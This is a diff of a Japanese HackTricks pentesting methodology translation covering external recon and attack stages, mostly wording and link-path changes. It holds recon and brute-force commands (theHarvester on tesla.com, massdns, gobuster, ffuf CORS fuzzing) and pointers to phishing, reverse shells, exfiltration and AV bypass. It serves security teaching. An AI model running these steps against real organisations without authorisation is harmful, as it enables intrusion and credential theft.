theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
||||||
```
|
```
|
||||||
他にも**興味深いツール/API**があり、サブドメインの発見に特化していなくてもサブドメインを見つけるのに役立つものがあります。例えば:
|
他にも**興味深いツール/API**があり、サブドメインの発見に特化していなくてもサブドメインを見つけるのに役立つかもしれません。例えば:
|
||||||
|
|
||||||
- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** API [https://sonar.omnisint.io](https://sonar.omnisint.io)を使用してサブドメインを取得します。
|
- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** API [https://sonar.omnisint.io](https://sonar.omnisint.io)を使用してサブドメインを取得します。
|
||||||
```bash
|
```bash
|
||||||
@ -341,11 +341,11 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
|||||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||||
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||||
```
|
```
|
||||||
- [**gobuster**](https://github.com/OJ/gobuster): これは1つのリゾルバを使用していると思います。
|
- [**gobuster**](https://github.com/OJ/gobuster): これはおそらく1つのリゾルバを使用していると思います。
|
||||||
```
|
```
|
||||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||||
```
|
```
|
||||||
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) は、`massdns` のラッパーであり、Go で書かれており、アクティブブルートフォースを使用して有効なサブドメインを列挙することができ、ワイルドカード処理と簡単な入出力サポートを使用してサブドメインを解決することができます。
|
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) は、`massdns` のラッパーで、Go で書かれており、アクティブブルートフォースを使用して有効なサブドメインを列挙することができ、ワイルドカード処理と簡単な入出力サポートを使用してサブドメインを解決することができます。
|
||||||
```
|
```
|
||||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||||
```
|
```
|
||||||
@ -395,7 +395,7 @@ python3 main.py adobe.com adobe adobe.rules
|
|||||||
make_brute_list.sh adobe.rules adobe.brute
|
make_brute_list.sh adobe.rules adobe.brute
|
||||||
puredns resolve adobe.brute --write adobe.valid
|
puredns resolve adobe.brute --write adobe.valid
|
||||||
```
|
```
|
||||||
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ は、非常にシンプルで効果的なDNS応答ガイドアルゴリズムと組み合わされたサブドメインブルートフォースファズァです。提供された入力データセット(カスタマイズされた単語リストや過去のDNS/TLSレコードなど)を利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集された情報に基づいてさらにループで拡張します。
|
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ は、非常にシンプルで効果的なDNS応答ガイドアルゴリズムと組み合わされたサブドメインブルートフォースファッザーです。提供された入力データセット(カスタマイズされた単語リストや過去のDNS/TLSレコードなど)を利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集した情報に基づいてさらにループで拡張します。
|
||||||
```
|
```
|
||||||
echo www | subzuf facebook.com
|
echo www | subzuf facebook.com
|
||||||
```
|
```
|
||||||
@ -436,37 +436,37 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
|
|||||||
VHostScan -t example.com
|
VHostScan -t example.com
|
||||||
```
|
```
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> この技術を使うことで、内部/隠れたエンドポイントにアクセスできる場合があります。
|
> この技術を使用すると、内部/隠れたエンドポイントにアクセスできる場合があります。
|
||||||
|
|
||||||
### **CORSブルートフォース**
|
### **CORSブルートフォース**
|
||||||
|
|
||||||
時には、_**Origin**_ ヘッダーに有効なドメイン/サブドメインが設定されているときにのみ、_**Access-Control-Allow-Origin**_ ヘッダーを返すページを見つけることがあります。このようなシナリオでは、この動作を悪用して新しい**サブドメイン**を**発見**することができます。
|
時々、_**Origin**_ ヘッダーに有効なドメイン/サブドメインが設定されている場合にのみ、_**Access-Control-Allow-Origin**_ ヘッダーを返すページを見つけることがあります。このようなシナリオでは、この動作を悪用して新しい **サブドメイン** を **発見** することができます。
|
||||||
```bash
|
```bash
|
||||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||||
```
|
```
|
||||||
### **バケットブルートフォース**
|
### **バケットブルートフォース**
|
||||||
|
|
||||||
**サブドメイン**を探しているときは、**バケット**に**ポイント**しているかどうかに注意し、その場合は[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)**してください。**\
|
**サブドメイン**を探しているときは、**バケット**に**ポイント**しているかどうかに注意し、その場合は[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/index.html)**してください。**\
|
||||||
また、この時点でスコープ内のすべてのドメインを知っているので、[**可能なバケット名をブルートフォースし、権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)してください。
|
また、この時点でスコープ内のすべてのドメインを知っているので、[**可能なバケット名をブルートフォースし、権限を確認**](../../network-services-pentesting/pentesting-web/buckets/index.html)してください。
|
||||||
|
|
||||||
### **モニタリング**
|
### **モニタリング**
|
||||||
|
|
||||||
**新しいサブドメイン**が作成されたかどうかを**Certificate Transparency**ログを監視することで**モニタリング**できます。[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)がそれを行います。
|
**新しいサブドメイン**が作成されたかどうかを監視するには、**Certificate Transparency**ログを監視することができます。[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)がそれを行います。
|
||||||
|
|
||||||
### **脆弱性の検索**
|
### **脆弱性の検索**
|
||||||
|
|
||||||
可能な[**サブドメインのテイクオーバー**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)を確認してください。\
|
可能な[**サブドメインテイクオーバー**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)を確認してください。\
|
||||||
もし**サブドメイン**が**S3バケット**に**ポイント**している場合は、[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/)してください。
|
もし**サブドメイン**が**S3バケット**に**ポイント**している場合は、[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/index.html)してください。
|
||||||
|
|
||||||
もし**資産発見**で見つけたものとは異なるIPを持つ**サブドメイン**を見つけた場合は、**基本的な脆弱性スキャン**(NessusやOpenVASを使用)と、いくつかの[**ポートスキャン**](../pentesting-network/index.html#discovering-hosts-from-the-outside)を**nmap/masscan/shodan**で実行する必要があります。どのサービスが稼働しているかによって、**この本の中で「攻撃」するためのいくつかのトリックを見つけることができます**。\
|
もし**異なるIPを持つサブドメイン**を見つけた場合は、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と、**nmap/masscan/shodan**を使用した[**ポートスキャン**](../pentesting-network/index.html#discovering-hosts-from-the-outside)を実行する必要があります。実行中のサービスによっては、**この本の中で「攻撃」するためのいくつかのトリックを見つけることができます**。\
|
||||||
&#xNAN;_Noteとして、サブドメインがクライアントによって制御されていないIP内にホストされている場合があるため、スコープ外であることに注意してください。_
|
&#xNAN;_Noteとして、サブドメインがクライアントによって制御されていないIP内にホストされている場合があるため、スコープ外であることに注意してください。_
|
||||||
|
|
||||||
## IPs
|
## IPs
|
||||||
|
|
||||||
初期のステップで**いくつかのIPレンジ、ドメイン、サブドメイン**を**見つけたかもしれません**。\
|
初期のステップで**いくつかのIP範囲、ドメイン、サブドメイン**を**見つけたかもしれません**。\
|
||||||
これらのレンジから**すべてのIPを収集する**時です。また、**ドメイン/サブドメイン(DNSクエリ)**のためにもです。
|
これらの範囲から**すべてのIPを収集する**時です。また、**ドメイン/サブドメイン(DNSクエリ)**のために。
|
||||||
|
|
||||||
以下の**無料API**のサービスを使用すると、**ドメインやサブドメインで使用された以前のIP**も見つけることができます。これらのIPはまだクライアントが所有している可能性があり、[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つける手助けになるかもしれません。
|
以下の**無料API**のサービスを使用すると、**ドメインとサブドメインによって使用された以前のIP**も見つけることができます。これらのIPはまだクライアントによって所有されている可能性があり、[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つける手助けになるかもしれません。
|
||||||
|
|
||||||
- [**https://securitytrails.com/**](https://securitytrails.com/)
|
- [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||||
|
|
||||||
@ -474,19 +474,19 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
|||||||
|
|
||||||
### **脆弱性の検索**
|
### **脆弱性の検索**
|
||||||
|
|
||||||
**CDNに属さないすべてのIPをポートスキャン**してください(そこでは興味深いものは見つからない可能性が高いです)。発見された稼働中のサービスでは、**脆弱性を見つけることができるかもしれません**。
|
**CDNに属さないすべてのIPをポートスキャン**してください(そこでは興味深いものは見つからない可能性が高いです)。発見された実行中のサービスでは、**脆弱性を見つけることができるかもしれません**。
|
||||||
|
|
||||||
**ホストをスキャンする方法に関する**[**ガイド**](../pentesting-network/)**を見つけてください。**
|
**ホストをスキャンする方法に関する**[**ガイド**](../pentesting-network/index.html)を見つけてください。
|
||||||
|
|
||||||
## ウェブサーバーハンティング
|
## ウェブサーバーハンティング
|
||||||
|
|
||||||
> すべての企業とその資産を見つけ、スコープ内のIPレンジ、ドメイン、サブドメインを知っています。ウェブサーバーを探す時です。
|
> すべての企業とその資産を見つけ、スコープ内のIP範囲、ドメイン、サブドメインを知っています。ウェブサーバーを探す時です。
|
||||||
|
|
||||||
前のステップで、**発見されたIPやドメインのリコン**をすでに実施している可能性があるため、**すべての可能なウェブサーバーをすでに見つけているかもしれません**。しかし、見つけていない場合は、スコープ内のウェブサーバーを探すための**迅速なトリック**を見ていきます。
|
前のステップで、**発見されたIPとドメインのリコン**をすでに実行している可能性があるため、**すべての可能なウェブサーバーをすでに見つけているかもしれません**。しかし、見つけていない場合は、スコープ内のウェブサーバーを検索するための**迅速なトリック**を見ていきます。
|
||||||
|
|
||||||
これは**ウェブアプリの発見**に向けられているため、**脆弱性**と**ポートスキャン**も実施する必要があります(**スコープによって許可されている場合**)。
|
これは**ウェブアプリの発見**に**特化**しているため、**脆弱性**と**ポートスキャン**も実行する必要があります(**スコープによって許可されている場合**)。
|
||||||
|
|
||||||
**ウェブ**サーバーに関連する**オープンポート**を発見するための**迅速な方法**は、[**masscan**で見つけることができます](../pentesting-network/index.html#http-port-discovery)。\
|
**ウェブ**サーバーに関連する**オープンポート**を発見するための**迅速な方法**は、[**masscan**を使用することができます](../pentesting-network/index.html#http-port-discovery)。\
|
||||||
ウェブサーバーを探すためのもう一つの便利なツールは、[**httprobe**](https://github.com/tomnomnom/httprobe)**、**[**fprobe**](https://github.com/theblackturtle/fprobe)および[**httpx**](https://github.com/projectdiscovery/httpx)です。ドメインのリストを渡すだけで、ポート80(http)と443(https)に接続しようとします。さらに、他のポートを試すように指示することもできます:
|
ウェブサーバーを探すためのもう一つの便利なツールは、[**httprobe**](https://github.com/tomnomnom/httprobe)**、**[**fprobe**](https://github.com/theblackturtle/fprobe)および[**httpx**](https://github.com/projectdiscovery/httpx)です。ドメインのリストを渡すだけで、ポート80(http)と443(https)に接続しようとします。さらに、他のポートを試すように指示することもできます:
|
||||||
```bash
|
```bash
|
||||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||||
@ -512,9 +512,9 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||||||
|
|
||||||
次に、それらの単語を使用して**順列**を生成する必要があります(詳細については[**第二ラウンドDNSブルートフォース**](#second-dns-bruteforce-round)を参照してください)。
|
次に、それらの単語を使用して**順列**を生成する必要があります(詳細については[**第二ラウンドDNSブルートフォース**](#second-dns-bruteforce-round)を参照してください)。
|
||||||
|
|
||||||
生成されたワードリストを使用して、[**cloud_enum**](https://github.com/initstring/cloud_enum)**、** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **または** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**を使用できます。**
|
得られたワードリストを使用して、[**cloud_enum**](https://github.com/initstring/cloud_enum)**、** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **または** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**を使用できます。**
|
||||||
|
|
||||||
クラウド資産を探す際には、**AWSのバケットだけでなく、他のものも探す**べきです。
|
クラウド資産を探す際には、**AWSのバケットだけでなく、他のものも探す**必要があることを忘れないでください。
|
||||||
|
|
||||||
### **脆弱性の検索**
|
### **脆弱性の検索**
|
||||||
|
|
||||||
@ -531,7 +531,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||||||
|
|
||||||
### **脆弱性の検索**
|
### **脆弱性の検索**
|
||||||
|
|
||||||
メールは、**ウェブログインや認証サービス**(SSHなど)を**ブルートフォース**する際に役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、フィッシングキャンペーンに役立つ**メールの背後にいる人物**に関するさらに多くの**情報**を提供します。
|
メールは、**ウェブログインや認証サービス**(SSHなど)を**ブルートフォース**する際に役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、フィッシングキャンペーンに役立つ**メールの背後にいる人物**に関するさらなる**情報**を提供します。
|
||||||
|
|
||||||
## 資格情報の漏洩
|
## 資格情報の漏洩
|
||||||
|
|
||||||
@ -546,7 +546,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||||||
|
|
||||||
## 秘密の漏洩
|
## 秘密の漏洩
|
||||||
|
|
||||||
資格情報の漏洩は、**機密情報が漏洩して販売された**企業のハッキングに関連しています。ただし、企業は、これらのデータベースに情報が含まれていない**他の漏洩**の影響を受ける可能性があります:
|
資格情報の漏洩は、**機密情報が漏洩して販売された**企業のハッキングに関連しています。ただし、企業は、これらのデータベースに情報がない**他の漏洩**の影響を受ける可能性があります:
|
||||||
|
|
||||||
### Githubの漏洩
|
### Githubの漏洩
|
||||||
|
|
||||||
@ -578,7 +578,7 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実
|
|||||||
|
|
||||||
**有効な漏洩した**資格情報やAPIトークンを見つけた場合、これは非常に簡単な勝利です。
|
**有効な漏洩した**資格情報やAPIトークンを見つけた場合、これは非常に簡単な勝利です。
|
||||||
|
|
||||||
## パブリックコードの脆弱性
|
## 公開コードの脆弱性
|
||||||
|
|
||||||
企業が**オープンソースコード**を持っていることがわかった場合、それを**分析**して**脆弱性**を探すことができます。
|
企業が**オープンソースコード**を持っていることがわかった場合、それを**分析**して**脆弱性**を探すことができます。
|
||||||
|
|
||||||
@ -592,15 +592,15 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実
|
|||||||
|
|
||||||
- [**Snyk**](https://app.snyk.io/)
|
- [**Snyk**](https://app.snyk.io/)
|
||||||
|
|
||||||
## [**ウェブペンテスティング手法**](../../network-services-pentesting/pentesting-web/)
|
## [**ウェブペンテスト手法**](../../network-services-pentesting/pentesting-web/index.html)
|
||||||
|
|
||||||
**バグハンター**によって見つかった**脆弱性の大部分**は**ウェブアプリケーション**内に存在するため、この時点で**ウェブアプリケーションテスト手法**について話したいと思います。詳細は[**こちらで確認できます**](../../network-services-pentesting/pentesting-web/)。
|
**バグハンター**によって見つかった**脆弱性の大部分**は**ウェブアプリケーション**内に存在するため、この時点で**ウェブアプリケーションテスト手法**について話したいと思います。詳細は[**こちらで確認できます**](../../network-services-pentesting/pentesting-web/index.html)。
|
||||||
|
|
||||||
また、[**オープンソースツールのウェブ自動スキャナー**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners)のセクションにも特別な言及をしたいと思います。非常に機密性の高い脆弱性を見つけることを期待すべきではありませんが、**初期のウェブ情報を得るためのワークフローに実装するのに役立ちます。**
|
また、[**オープンソースツールのウェブ自動スキャナー**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners)のセクションにも特別な言及をしたいと思います。非常に機密性の高い脆弱性を見つけることを期待すべきではありませんが、**初期のウェブ情報を得るためのワークフローに役立ちます。**
|
||||||
|
|
||||||
## 再確認
|
## 再確認
|
||||||
|
|
||||||
> おめでとうございます!この時点で、すでに**すべての基本的な列挙**を実行しています。はい、基本的なことです。さらに多くの列挙が可能です(後でさらにトリックを見ていきます)。
|
> おめでとうございます!この時点で、**すべての基本的な列挙**をすでに実行しています。はい、これは基本的なものであり、さらに多くの列挙が可能です(後でさらにトリックを見ていきます)。
|
||||||
|
|
||||||
したがって、すでに次のことを行っています:
|
したがって、すでに次のことを行っています:
|
||||||
|
|
||||||
@ -611,7 +611,7 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実
|
|||||||
5. スコープ内のすべての**IP**(CDNからのものとそうでないもの)を見つけた
|
5. スコープ内のすべての**IP**(CDNからのものとそうでないもの)を見つけた
|
||||||
6. すべての**ウェブサーバー**を見つけ、**スクリーンショット**を撮った(深く見る価値のある奇妙なものはありますか?)
|
6. すべての**ウェブサーバー**を見つけ、**スクリーンショット**を撮った(深く見る価値のある奇妙なものはありますか?)
|
||||||
7. 企業に属するすべての**潜在的なパブリッククラウド資産**を見つけた
|
7. 企業に属するすべての**潜在的なパブリッククラウド資産**を見つけた
|
||||||
8. **メール**、**資格情報の漏洩**、および**秘密の漏洩**があり、**非常に簡単に大きな勝利を得る**ことができる
|
8. **メール**、**資格情報の漏洩**、および**秘密の漏洩**があり、**非常に簡単に大きな勝利を得ることができる**
|
||||||
9. 見つけたすべてのウェブを**ペンテスト**
|
9. 見つけたすべてのウェブを**ペンテスト**
|
||||||
|
|
||||||
## **フルリコン自動ツール**
|
## **フルリコン自動ツール**
|
||||||
|
@ -11,23 +11,23 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
|
|||||||
|
|
||||||
### 0- 物理攻撃
|
### 0- 物理攻撃
|
||||||
|
|
||||||
攻撃したいマシンに**物理的アクセス**がありますか?いくつかの[**物理攻撃に関するトリック**](../hardware-physical-access/physical-attacks.md)や[**GUIアプリケーションからの脱出に関するトリック**](../hardware-physical-access/escaping-from-gui-applications.md)を読むべきです。
|
攻撃したいマシンに**物理アクセス**がありますか?いくつかの[**物理攻撃に関するトリック**](../hardware-physical-access/physical-attacks.md)や[**GUIアプリケーションからの脱出に関するトリック**](../hardware-physical-access/escaping-from-gui-applications.md)を読むべきです。
|
||||||
|
|
||||||
### 1 - [ネットワーク内のホストを発見する](pentesting-network/index.html#discovering-hosts)/ [会社の資産を発見する](external-recon-methodology/)
|
### 1 - [ネットワーク内のホストを発見する](pentesting-network/index.html#discovering-hosts)/ [会社の資産を発見する](external-recon-methodology/index.html)
|
||||||
|
|
||||||
**実施している**テストが**内部テストか外部テストかによって**、**会社のネットワーク内のホストを見つける**(内部テスト)か、**インターネット上の会社の資産を見つける**(外部テスト)ことに興味があるかもしれません。
|
**テスト**が**内部テスト**か**外部テスト**かによって、**会社のネットワーク内のホストを見つける**ことに興味があるか、**インターネット上の会社の資産を見つける**ことに興味があるかもしれません。
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> 外部テストを実施している場合、会社の内部ネットワークへのアクセスを取得したら、このガイドを再スタートする必要があります。
|
> 外部テストを実施している場合、会社の内部ネットワークへのアクセスを取得したら、このガイドを再スタートする必要があります。
|
||||||
|
|
||||||
### **2-** [**ネットワークで楽しむ**](pentesting-network/) **(内部)**
|
### **2-** [**ネットワークで楽しむ**](pentesting-network/index.html) **(内部)**
|
||||||
|
|
||||||
**このセクションは内部テストを実施している場合にのみ適用されます。**\
|
**このセクションは内部テストを実施している場合にのみ適用されます。**\
|
||||||
ホストを攻撃する前に、**ネットワークからいくつかの資格情報を盗む**か、**データをスニッフィング**して**受動的/能動的(MitM)**にネットワーク内で何が見つかるかを学ぶことを好むかもしれません。[**ペンテストネットワーク**](pentesting-network/index.html#sniffing)を読むことができます。
|
ホストを攻撃する前に、**ネットワークからいくつかの認証情報を盗む**か、**データをスニッフィング**して**パッシブ/アクティブ(MitM)**にネットワーク内で何が見つかるかを学ぶことを好むかもしれません。[**ペンテストネットワーク**](pentesting-network/index.html#sniffing)を読むことができます。
|
||||||
|
|
||||||
### 3- [ポートスキャン - サービス発見](pentesting-network/index.html#scanning-hosts)
|
### 3- [ポートスキャン - サービス発見](pentesting-network/index.html#scanning-hosts)
|
||||||
|
|
||||||
**ホストの脆弱性を探す**ときに最初に行うべきことは、どの**サービスがどのポートで実行されているかを知る**ことです。[**ホストのポートをスキャンするための基本ツール**](pentesting-network/index.html#scanning-hosts)を見てみましょう。
|
**ホストの脆弱性を探す**ときに最初に行うべきことは、どの**サービスがどのポートで実行されているか**を知ることです。[**ホストのポートをスキャンするための基本ツール**](pentesting-network/index.html#scanning-hosts)を見てみましょう。
|
||||||
|
|
||||||
### **4-** [サービスバージョンの脆弱性を検索する](../generic-hacking/search-exploits.md)
|
### **4-** [サービスバージョンの脆弱性を検索する](../generic-hacking/search-exploits.md)
|
||||||
|
|
||||||
@ -37,38 +37,38 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
|
|||||||
|
|
||||||
実行中のサービスに特別なエクスプロイトがない場合は、**各サービスの一般的な誤設定を探す**べきです。
|
実行中のサービスに特別なエクスプロイトがない場合は、**各サービスの一般的な誤設定を探す**べきです。
|
||||||
|
|
||||||
**この本の中には、最も一般的なサービスをペンテストするためのガイドがあります**(あまり一般的でないサービスも含む)。左のインデックスで**_**PENTESTING**_**セクションを探してください**(サービスはデフォルトポート順に並んでいます)。
|
**この本の中には、最も一般的なサービスをペンテストするためのガイドがあります**(あまり一般的でないサービスも含む)。左のインデックスで**_**ペンテスト**_**セクションを検索してください**(サービスはデフォルトポート順に並んでいます)。
|
||||||
|
|
||||||
**特に** [**ペンテストWeb**](../network-services-pentesting/pentesting-web/) **部分に特別な言及をしたいと思います(最も広範な部分です)。**\
|
**特に** [**ウェブペンテスト**](../network-services-pentesting/pentesting-web/index.html) **部分に特別な言及をしたいと思います(最も広範な部分です)。**\
|
||||||
また、[**ソフトウェアの既知の脆弱性を見つける方法**](../generic-hacking/search-exploits.md)に関する小さなガイドもここにあります。
|
また、[**ソフトウェアの既知の脆弱性を見つける方法**](../generic-hacking/search-exploits.md)に関する小さなガイドもここにあります。
|
||||||
|
|
||||||
**インデックスにサービスがない場合は、Googleで他のチュートリアルを検索してください**。**追加してほしい場合は教えてください。** Googleで**何も見つからない場合は、自分で**ブラインドペンテストを実施してください**。**サービスに接続し、ファジングしてレスポンスを読むことから始めることができます**(あれば)。
|
**インデックスにサービスがない場合は、Googleで他のチュートリアルを検索してください**。**追加してほしい場合は教えてください。** Googleで**何も見つからない場合は、**自分自身でブラインドペンテストを実施してください**。**サービスに接続し、ファジングし、応答を読むことから始めることができます**(あれば)。
|
||||||
|
|
||||||
#### 5.1 自動ツール
|
#### 5.1 自動ツール
|
||||||
|
|
||||||
**自動脆弱性評価を実行できるツールもいくつかあります。** **[**Legion**](https://github.com/carlospolop/legion)**を試してみることをお勧めします。これは私が作成したツールで、この本にあるペンテストサービスに関するノートに基づいています。**
|
**自動脆弱性評価を実行できるツールもいくつかあります。** **[**Legion**](https://github.com/carlospolop/legion)**を試してみることをお勧めします。これは、私が作成したツールで、この本にあるペンテストサービスに関するノートに基づいています。**
|
||||||
|
|
||||||
#### **5.2 サービスのブルートフォース**
|
#### **5.2 ブルートフォースサービス**
|
||||||
|
|
||||||
いくつかのシナリオでは、**ブルートフォース**が**サービスを妥協する**のに役立つかもしれません。[**ここで異なるサービスのブルートフォースのチートシートを見つけてください**](../generic-hacking/brute-force.md)**。**
|
いくつかのシナリオでは、**ブルートフォース**が**サービスを妥協する**のに役立つかもしれません。[**ここで異なるサービスのブルートフォースのチートシートを見つけてください**](../generic-hacking/brute-force.md)**。**
|
||||||
|
|
||||||
### 6- [フィッシング](phishing-methodology/)
|
### 6- [フィッシング](phishing-methodology/index.html)
|
||||||
|
|
||||||
この時点で興味深い脆弱性が見つからない場合は、**ネットワークに入るためにフィッシングを試みる必要があるかもしれません**。私のフィッシング手法を[こちら](phishing-methodology/)で読むことができます。
|
この時点で興味深い脆弱性が見つからない場合は、**ネットワークに入るためにフィッシングを試みる必要があるかもしれません**。私のフィッシング手法を[こちら](phishing-methodology/index.html)で読むことができます:
|
||||||
|
|
||||||
### **7-** [**シェルを取得する**](../generic-hacking/reverse-shells/)
|
### **7-** [**シェルを取得する**](../generic-hacking/reverse-shells/index.html)
|
||||||
|
|
||||||
何らかの方法で、**被害者でコードを実行する方法を見つけるべきです**。その後、[**リバースシェルを取得するためにシステム内で使用できる可能性のあるツールのリストが非常に役立ちます**](../generic-hacking/reverse-shells/)。
|
何らかの方法で、**被害者でコードを実行する方法を見つけるべきです**。その後、[**リバースシェルを取得するためにシステム内で使用できる可能性のあるツールのリストが非常に役立ちます**](../generic-hacking/reverse-shells/index.html)。
|
||||||
|
|
||||||
特にWindowsでは、**アンチウイルスを回避するための助けが必要かもしれません**:[**このページを確認してください**](../windows-hardening/av-bypass.md)**。**\\
|
特にWindowsでは、**アンチウイルスを回避するための助けが必要かもしれません**:[**このページを確認してください**](../windows-hardening/av-bypass.md)**。**\\
|
||||||
|
|
||||||
### 8- 内部
|
### 8- 内部
|
||||||
|
|
||||||
シェルに問題がある場合、ペンテスターにとって最も便利なコマンドの小さな**コンパイル**をここで見つけることができます:
|
シェルに問題がある場合は、ペンテスターにとって最も便利なコマンドの小さな**コンパイル**をここで見つけることができます:
|
||||||
|
|
||||||
- [**Linux**](../linux-hardening/useful-linux-commands.md)
|
- [**Linux**](../linux-hardening/useful-linux-commands.md)
|
||||||
- [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
- [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
||||||
- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
|
- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/index.html)
|
||||||
|
|
||||||
### **9 -** [**データ抽出**](../generic-hacking/exfiltration.md)
|
### **9 -** [**データ抽出**](../generic-hacking/exfiltration.md)
|
||||||
|
|
||||||
@ -78,53 +78,53 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
|
|||||||
|
|
||||||
#### **10.1- ローカル特権昇格**
|
#### **10.1- ローカル特権昇格**
|
||||||
|
|
||||||
ボックス内で**root/Administratorでない場合**、**特権を昇格させる方法を見つけるべきです**。\
|
ボックス内で**root/Administrator**でない場合は、**特権を昇格させる方法を見つけるべきです**。\
|
||||||
ここに、**[**Linux**](../linux-hardening/privilege-escalation/)**と**[**Windows**](../windows-hardening/windows-local-privilege-escalation/)**でローカルに特権を昇格させるためのガイドがあります。**\
|
ここに、**[Linux](../linux-hardening/privilege-escalation/index.html)**と**[Windows](../windows-hardening/windows-local-privilege-escalation/index.html)**でローカルに特権を昇格させるためのガイドがあります。\
|
||||||
また、**Windowsがどのように機能するかに関するこのページも確認してください**:
|
また、**Windowsがどのように機能するかに関するこのページも確認してください**:
|
||||||
|
|
||||||
- [**認証、資格情報、トークン特権、UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
- [**認証、資格情報、トークン特権、UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html)
|
||||||
- [**NTLMの動作**](../windows-hardening/ntlm/)
|
- [**NTLMの動作**](../windows-hardening/ntlm/index.html)
|
||||||
- Windowsで[**資格情報を盗む方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)
|
- Windowsで[**資格情報を盗む方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)
|
||||||
- [_**Active Directory**_に関するいくつかのトリック](../windows-hardening/active-directory-methodology/)
|
- [_**Active Directory**_に関するいくつかのトリック](../windows-hardening/active-directory-methodology/index.html)
|
||||||
|
|
||||||
**WindowsおよびLinuxのローカル特権昇格パスを列挙するための最良のツールも確認してください**:[**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
**WindowsとLinuxのローカル特権昇格パスを列挙するための最良のツールも確認してください**:[**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||||
|
|
||||||
#### **10.2- ドメイン特権昇格**
|
